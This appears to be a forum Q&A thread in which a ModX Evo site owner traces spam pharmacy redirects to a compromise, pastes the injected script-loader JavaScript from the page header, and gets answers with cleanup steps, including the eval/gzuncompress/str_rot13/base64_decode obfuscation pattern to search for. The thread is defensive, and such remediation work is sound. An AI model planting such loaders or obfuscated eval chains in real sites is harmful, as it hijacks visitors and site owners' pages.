1

I have a site that appears and works fine.

However if you search for it in Google a whole lot of other links come up, eg:

mysite.com/kamagra-viagra.html

Clicking this I get redirected to the Kamagra site.

I have scanned my site for viruses and cant find anything.

I am using the ModX Evo CMS.

Can anyone suggest a particular file I should be looking for that causing this?

EDIT:

I have noticed some strange Javascript in my header:

<script type="text/javascript" src="http://www.mysite.com/home.html?getjs=metric.js"></script>
<script type="text/javascript">var j1s = document.createElement('script');j1s.type = 'text/javascript';j1s.src = 'http://www.mysite.com/home.html?getjs=metric.js?getjs=metric.js';var h1ead = document.getElementsByTagName('head')[0];h1ead.appendChild(j1s);</script>

This is not in my template file, but appears when the page is loaded. I suspect this is the issue.

6
  • check your htaccess file on root it may injected with some codes.
    – Jobin
    Jan 29, 2014 at 5:07
  • Good idea would be to update to ModX revolution. You'll get a better CMS and likely lose the malicious code.
    – Steve
    Feb 28, 2014 at 6:21
  • Are you using wordpress?
    – Anon
    Mar 30, 2014 at 7:07
  • If you are using wordpress. It may be because of a plugin or the theme that you use. I had the same problem and I relaunched the website with new theme and tested plugins. It worked.
    – Indra
    Mar 30, 2014 at 10:24
  • @MeltingDog: Did you fix the problem? was the given answer useful? If you found a solution, you can post it here to help somebody else
    – PatomaS
    Mar 31, 2014 at 6:10

2 Answers 2

2

There are tons of possibilities. Your .htaccess file may be compromised and a redirect statement is being evaluated to send users away but that's a fairly blunt hack and easily found and fixed.

More likely is one or more of your CMS core files has had obfuscated code injected and that code runs on each access to both produce spam links for Googlebot consumption and also injects a JavaScript to send users away. The trick here is figuring out which file has been altered and how the attackers gained access and that process can be very difficult for non-security trained people to do.

Also a possibility is that the database containing the site content has been compromised and malicious codes injected there. This can be fatal to a site if you don't have proper safe backups of your content.

In any event, there are two basic questions that arise from a careful reading of the above scenarios:

  1. How did they get in?
  2. What did they change?

With the obvious follow-up being "How do I fix it?"

Unless you have a lot of experience diagnosing and fixing security problems, you may want to leave this to a professional. There are consultants who will do this as well as subscription-based services such as Stop The Hacker or Sucuri.

0

This is a hack that seems to have compromised several MODx Evo out of date installations. I've just fixed one, this is what needed doing:

  1. In the MODx Manager, go to Elements > Manage Elements > Plugins > "Quick ManagerManager".
  2. Search for the code @eval(@gzuncompress(@str_rot13(@base64_decode(
    (I found it near the bottom of the file)
    • This is the encoded malicious code, which causes the metric.js script to be inserted into the top of your home page
  3. Remove this very large line and click save.
  4. Now go to Plugins > "Highlight Search". This whole plugin seems to have been inserted by the attack.
    • This causes the urls like /best-website-kamagra on your website to redirect to another site. I found it by searching the database for str_rot13.
  5. Delete this plugin.
  6. Go to Elements > Manage Files > assets directory, and delete the 'cache' directory.
  7. Upload a clean assets/cache directory from the MODx Evo distribution.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.